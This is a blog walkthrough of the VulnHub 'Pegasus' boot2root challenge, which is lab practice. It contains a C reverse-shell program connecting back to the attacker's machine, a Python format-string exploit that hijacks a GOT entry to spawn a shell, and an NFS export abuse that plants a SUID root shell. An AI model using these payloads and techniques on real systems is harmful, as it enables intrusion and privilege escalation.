Pegasus hacking challenge

Written on January 4, 2015

Happy 2015! With the holidays and merry making out of the way, it was time to resume hacking boot2roots and CTFs. To start off the new year is Pegasus, by TheKnapsy. I actually started this challenge a week before Christmas, but after getting a foothold on the target, I put it on hold to prepare for the holidays and unplug for a few days. Today I finally got around to loading it up again and finishing it off. I recommend having a go at it, so grab it from VulnHub.

As usual I started off with a port scan to identify any interesting services. A full TCP and UDP scan with onetwopunch.sh returned the following results:

# scanreport.sh -f s.txt 

Host: 192.168.180.130 ()    
22  open    tcp     ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)    
111 open    tcp     rpcbind     2-4 (RPC #100000)   
8088    open    tcp     http        nginx 1.1.19    
57957   open    tcp     status      1 (RPC #100024)     OS: Linux 3.11 - 3.14   Seq Index: 260  IP ID Seq: All zeros

Host: 192.168.180.130 ()    
111 open    udp     rpcbind 

nginx was running on port 8088, so I decided to start with that. I fired up a web browser and navigated to this IP and port to find an image of Pegasus. Using wfuzz, I was able to identify two php files: submit.php and codereview.php.

# wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 --hs "Under" http://192.168.180.130:8088/FUZZ.php

********************************************************
* Wfuzz  2.0 - The Web Bruteforcer                     *
********************************************************

Target: http://192.168.180.130:8088/FUZZ.php
Payload type: file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Total requests: 220560
==================================================================
ID  Response   Lines      Word         Chars          Request    
==================================================================

00184:  C=200      0 L         4 W       19 Ch    " - submit"
56927:  C=000      7 L        12 W      173 Ch    " - Paris Hilton"
89234:  C=200     14 L        58 W      488 Ch    " - codereview"
112484:  C=000      7 L       12 W      173 Ch    " - Crypt Hunter
.
.
.

submit.php didn’t provide any interesting information, but codereview.php showed a text area where I could input code for review.

I initially started out by trying PHP code to execute reverse shells, but nothing appeared to work. If the submitted entry contained the a call to system(), it returned an error stating that code containing the system() function wouldn’t be reviewed. It occurred to me that perhaps it was C code that was being reviewed, and not PHP. I tried the following C code which would give me a reverse shell on port 443:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("192.168.180.129");
    sa.sin_port = htons(443);

    s = socket(AF_INET, SOCK_STREAM, 0); 
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0; 
}

I setup a listener on port 443, submitted the code, and got a shell on the target as user mike.

# nc -lvp 443
listening on [any] 443 ...
192.168.180.130: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.180.129] from (UNKNOWN) [192.168.180.130] 44881
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)

To make things easier, I copied over my SSH key into mike’s .ssh/authorized_keys file and logged in via SSH.

I found a binary called my_first in mike’s home directory that was SUID john. This seemed to be the next logical step in privilege escalation. Running my_first presented an interactive menu:

WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:

Option 1 was the most interesting. It would prompt for two numbers and return their sum. With some basic fuzzing, I found that it was vulnerable to a format string bug when the second number wasn’t a number:

WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: 123
Enter second number: AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Error details: AAAABBBB.bfe390dc.a.4005e160.401d0ac0.40020ff4.40021918.bfe390e0.41414141.42424242.2e78252e.252e7825

Selection: 

My format string was showing up as the 8th and 9th parameter. Time to inspect it with gdb. gdb was installed on the target, so I transferred peda over and had a look at what was going on. The format string bug occurs in the calculator() function at offset 191

   0x080486b6 <+155>:   call   0x8048410 <[email protected]>
   0x080486bb <+160>:   mov    DWORD PTR [ebp-0x10],eax
   0x080486be <+163>:   mov    eax,DWORD PTR [ebp-0x7c]
   0x080486c1 <+166>:   movzx  eax,BYTE PTR [eax]
   0x080486c4 <+169>:   cmp    al,0xa
   0x080486c6 <+171>:   je     0x80486f2 <calculator+215>
   0x080486c8 <+173>:   mov    DWORD PTR [esp],0x8048961
   0x080486cf <+180>:   call   0x80483b0 <[email protected]>
   0x080486d4 <+185>:   mov    eax,DWORD PTR [ebp-0x7c]
   0x080486d7 <+188>:   mov    DWORD PTR [esp],eax
=> 0x080486da <+191>:   call   0x80483b0 <[email protected]>
   0x080486df <+196>:   mov    DWORD PTR [esp],0xa
   0x080486e6 <+203>:   call   0x8048400 <[email protected]>

This execution branch is only taken if the second number isn’t a number. Breaking at this location after entering the format string shows that it’s being used as the argument to printf():

[-------------------------------------code-------------------------------------]
   0x80486cf <calculator+180>:  call   0x80483b0 <[email protected]>
   0x80486d4 <calculator+185>:  mov    eax,DWORD PTR [ebp-0x7c]
   0x80486d7 <calculator+188>:  mov    DWORD PTR [esp],eax
=> 0x80486da <calculator+191>:  call   0x80483b0 <[email protected]>
   0x80486df <calculator+196>:  mov    DWORD PTR [esp],0xa
   0x80486e6 <calculator+203>:  call   0x8048400 <[email protected]>
   0x80486eb <calculator+208>:  mov    eax,0x1
   0x80486f0 <calculator+213>:  jmp    0x8048749 <calculator+302>
Guessed arguments:
arg[0]: 0xbff88eb0 ("AAAABBBB.%8$x\n")
[------------------------------------stack-------------------------------------]
0000| 0xbff88e90 --> 0xbff88eb0 ("AAAABBBB.%8$x\n")
0004| 0xbff88e94 --> 0xbff88eac --> 0xbff88eb0 ("AAAABBBB.%8$x\n")
0008| 0xbff88e98 --> 0xa ('\n')
0012| 0xbff88e9c --> 0x4005e160 (add    ebx,0x171e94)
0016| 0xbff88ea0 --> 0x401d0ac0 --> 0xfbad2288 
0020| 0xbff88ea4 --> 0x40020ff4 --> 0x20f1c 
0024| 0xbff88ea8 --> 0x40021918 --> 0x0 
0028| 0xbff88eac --> 0xbff88eb0 ("AAAABBBB.%8$x\n")
[------------------------------------------------------------------------------]

With a format string bug, the most likely case of exploitation would be to use it to overwrite the GOT entry of a function so that when said function is later called, it would execute whatever instructions I had pointed it to. Based on the above information, putchar() was the next function called, so I decided to overwrite its address with some junk and see what the stack looked like.

First, I had to get putchar()’s GOT entry. Easily done with objdump:

[email protected]:~$ objdump -R my_first | grep putchar
08049c10 R_386_JUMP_SLOT   putchar

Next I wrote up a python script called sploit.py to print out the format string into a text file that I could redirect into gdb:

#!/usr/bin/env python

import struct

buf =  "1\n"            # calculator option
buf += "10\n"           # first number

# format string payload starts here
buf += "\x10\x9c\x04\x08"
buf += "\x12\x9c\x04\x08"

buf += "%1c%8$hn"       
buf += "%1c%9$hn"       

# junk so we can see where we are on the stack
buf += "AAAABBBBCCCCDDDDEEEEFFFF"

print buf

Back to gdb, I setup the text file containing the format string and set a breakpoint at offset 203 in the calculator function which is the call to putchar(). Finally, I passed the format string to the binary to see what would happen:

gdb-peda$ shell ./sploit.py > in.txt
gdb-peda$ r < in.txt 
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ���
AAAABBBBCCCCDDDDEEEEFFFF

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x23 ('#')
EBX: 0xb77acff4 --> 0x1a5d7c 
ECX: 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbf951728 --> 0xbf951758 --> 0x0 
ESP: 0xbf95168c --> 0x80486eb (<calculator+208>:    mov    eax,0x1)
EIP: 0xa0009 ('\t')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xa0009
[------------------------------------stack-------------------------------------]
0000| 0xbf95168c --> 0x80486eb (<calculator+208>:   mov    eax,0x1)
0004| 0xbf951690 --> 0xa ('\n')
0008| 0xbf951694 --> 0xbf9516ac --> 0xbf9516b0 --> 0x8049c10 --> 0xa0009 ('\t')
0012| 0xbf951698 --> 0xa ('\n')
0016| 0xbf95169c --> 0xb763b160 (add    ebx,0x171e94)
0020| 0xbf9516a0 --> 0xb77adac0 --> 0xfbad2088 
0024| 0xbf9516a4 --> 0xb77d9ff4 --> 0x20f1c 
0028| 0xbf9516a8 --> 0xb77da918 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000a0009 in ?? ()

EIP was set to an invalid address 0x000a0009. That meant I’d overwritten putchar()’s GOT entry with the value 0x000a0009. At the time of the crash, the stack looked like this:

gdb-peda$ context stack 25
--More--(25/25)
[------------------------------------stack-------------------------------------]
0000| 0xbf95168c --> 0x80486eb (<calculator+208>:   mov    eax,0x1)
0004| 0xbf951690 --> 0xa ('\n')
0008| 0xbf951694 --> 0xbf9516ac --> 0xbf9516b0 --> 0x8049c10 --> 0xa0009 ('\t')
0012| 0xbf951698 --> 0xa ('\n')
0016| 0xbf95169c --> 0xb763b160 (add    ebx,0x171e94)
0020| 0xbf9516a0 --> 0xb77adac0 --> 0xfbad2088 
0024| 0xbf9516a4 --> 0xb77d9ff4 --> 0x20f1c 
0028| 0xbf9516a8 --> 0xb77da918 --> 0x0 
0032| 0xbf9516ac --> 0xbf9516b0 --> 0x8049c10 --> 0xa0009 ('\t')
0036| 0xbf9516b0 --> 0x8049c10 --> 0xa0009 ('\t')
0040| 0xbf9516b4 --> 0x8049c12 --> 0xaf20000a 
0044| 0xbf9516b8 ("%1c%8$hn%1c%9$hnAAAABBBBCCCCDDDDEEEEFFFF\n")
0048| 0xbf9516bc ("8$hn%1c%9$hnAAAABBBBCCCCDDDDEEEEFFFF\n")
0052| 0xbf9516c0 ("%1c%9$hnAAAABBBBCCCCDDDDEEEEFFFF\n")
0056| 0xbf9516c4 ("9$hnAAAABBBBCCCCDDDDEEEEFFFF\n")
0060| 0xbf9516c8 ("AAAABBBBCCCCDDDDEEEEFFFF\n")
0064| 0xbf9516cc ("BBBBCCCCDDDDEEEEFFFF\n")
0068| 0xbf9516d0 ("CCCCDDDDEEEEFFFF\n")
0072| 0xbf9516d4 ("DDDDEEEEFFFF\n")
0076| 0xbf9516d8 ("EEEEFFFF\n")
0080| 0xbf9516dc ("FFFF\n")
0084| 0xbf9516e0 --> 0x3031000a ('\n')
0088| 0xbf9516e4 --> 0x804000a 
0092| 0xbf9516e8 --> 0x4 
0096| 0xbf9516ec --> 0xb77acff4 --> 0x1a5d7c 
[------------------------------------------------------------------------------]

My payload “AAABBBBCCCCDDDDEEEEFFFF” was 60 bytes up from ESP. I decided to fake a call to system(“/bin/sh”) using the payload. I needed a gadget that would clear the stack of the junk and return to system(). NX was enabled on the binary so the stack wasn’t executable, but since I wasn’t executing shellcode on the stack that wasn’t a problem.. ASLR was enabled on the target, but since it was a 32-bit Linux system, I could disable randomization of function addresses using:

ulimit -s unlimited

Great, next was to find the address of system() and “/bin/sh” on the target:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x40069060 <system>
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x4018bb78 ("/bin/sh")

I took note of those addresses. Next was to find a gadget that would clear the stack of 60 bytes. The binary itself was rather small and I couldn’t find a gadget that satisfied my requirements. However, since I already had access to the server itself, why not pull down its libc and search that for gadgets? So I transferred /lib/i386-linux-gnu/libc-2.15.so over to my machine and after going over it with ROPeMe, I settled on the following gem:

0x19e06L: add esp 0x44 ;;

I just had to add this to the base address of libc, which was obtained with peda:

gdb-peda$ vmmap 
Start      End        Perm  Name
.
.
.
0x4002a000 0x401ce000 r-xp  /lib/i386-linux-gnu/libc-2.15.so
.
.
.

The result was 0x40043e06. A quick double check to make sure that everything was right:

gdb-peda$ x/5i 0x40043e06
   0x40043e06 <__moddi3+134>:   add    esp,0x44
   0x40043e09 <__moddi3+137>:   ret    
   0x40043e0a <__moddi3+138>:   lea    esi,[esi+0x0]
   0x40043e10 <__moddi3+144>:   mov    ecx,DWORD PTR [esp+0x1c]
   0x40043e14 <__moddi3+148>:   neg    esi

Perfect. I now needed to modify sploit.py so that it would write the that address to putchar()’s GOT entry. After a bit of math and tweaking, I ended up with the following:

#!/usr/bin/env python

import struct

buf =  "1\n"        # calculator option
buf += "10\n"       # first number

# format string payload starts here
buf += "\x10\x9c\x04\x08"
buf += "\x12\x9c\x04\x08"

# this sets putchar() to 0x40043e06 (add esp,0x44; ret) which pivots
# us to an area we control on the stack
buf += "%15870c%8$hn"
buf += "%510c%9$hn"

# we return to the stack at the call to system()
buf += "AA"                             # removed by add esp,0x44
buf += struct.pack("<I", 0x40069060)    # system()
buf += struct.pack("<I", 0xfeedface)    # fake retaddr for system()
buf += struct.pack("<I", 0x4018bb78)    # /bin/sh

print buf

I ran it again in gdb and it worked:

gdb-peda$ r < in.txt
.
.
.
AA`�@����x�@
[New process 29256]
process 29256 is executing new program: /bin/dash
[New process 29257]
process 29257 is executing new program: /bin/dash
[Inferior 3 (process 29257) exited normally]
Warning: not running or target is remote

Time to get that shell:

[email protected]:~$ whoami
mike
[email protected]:~$ (cat ./in.txt ; cat) | ./my_first 
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ��   
.
.
.
AA`�@����x�@
whoami
john

Great, I got a shell as user john! I copied my SSH key over to john’s .ssh/authorized_keys file and logged in via SSH. I checked john’s sudo rights and found that he could run /usr/local/sbin/nfs without a password:

[email protected]:~$ sudo -l
Matching Defaults entries for john on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs

I went ahead and exected /usr/local/sbin/nfs to see what it did.

[email protected]:~$ sudo /usr/local/sbin/nfs
Usage: nfs [start|stop]
[email protected]:~$ sudo /usr/local/sbin/nfs start
 * Exporting directories for NFS kernel daemon...                                                                       [ OK ] 
 * Starting NFS kernel daemon                                                                                           [ OK ] 
[email protected]:~$

It seemed like it was simply starting up the NFS daemon. A quick check showed that nfsd was running and TCP port 2049 was now open. On my attacking machine, I checked for any mountable filesystems on the target:

# showmount -e 192.168.180.130
Export list for 192.168.180.130:
/opt/nfs *

/opt/nfs was available. I went ahead and mounted it to /mnt/pegasus

# mkdir /mnt/pegasus
# mount -t nfs -o nolock 192.168.180.130:/opt/nfs /mnt/pegasus/

What I discovered was that any file I created in /mnt/pegasus on my machine, would be created on the target’s /opt/nfs directory with root permissions. So I simply copied over /bin/sh and set it to SUID root permissions in /mnt/pegasus:

# cp /bin/sh /mnt/pegasus
# chmod 4755 /mnt/pegasus/sh

A quick check on the target showed the /opt/nfs/sh was SUID root:

[email protected]:~$ ls -l /opt/nfs
total 96
-rwsr-xr-x 1 root root 97284 Dec 20 19:14 sh
-rw-r--r-- 1 root root     0 Dec 20 19:12 testing

All that was left was to execute /opt/nfs/sh:

[email protected]:~$ whoami
john
[email protected]:~$ /opt/nfs/sh
# whoami
root

Victory! This challenge comes with a flag in /root, so I had a look at it:

# cat /root/flag
               ,
               |`\        
              /'_/_   
            ,'_/\_/\_                       ,   
          ,'_/\'_\_,/_                    ,'| 
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the best
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      known creatures in Greek
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\      mythology. He is a winged
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\       stallion usually depicted
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         as pure white in color.
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          Symbol of wisdom and fame.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\             Fun fact: Pegasus was also
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'               a video game system sold in
      \\_  \_\_)    `\_                             Poland, Serbia and Bosnia.
       \_)   >        `\_                           It was a hardware clone of
            /  `,      |`\_                         the Nintendo Famicom.
           /    \     / \ `\
          /   __/|   /  /  `\  
         (`  (   (` (_  \   /   
         /  ,/    |  /  /   \   
        / ,/      | /   \   `\_ 
      _/_/        |/    /__/,_/
     /_(         /_( 


CONGRATULATIONS! You made it :)

Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!

What a great way to start of the New Year! Thanks to TheKnapsy and VulnHub for making the challenge available!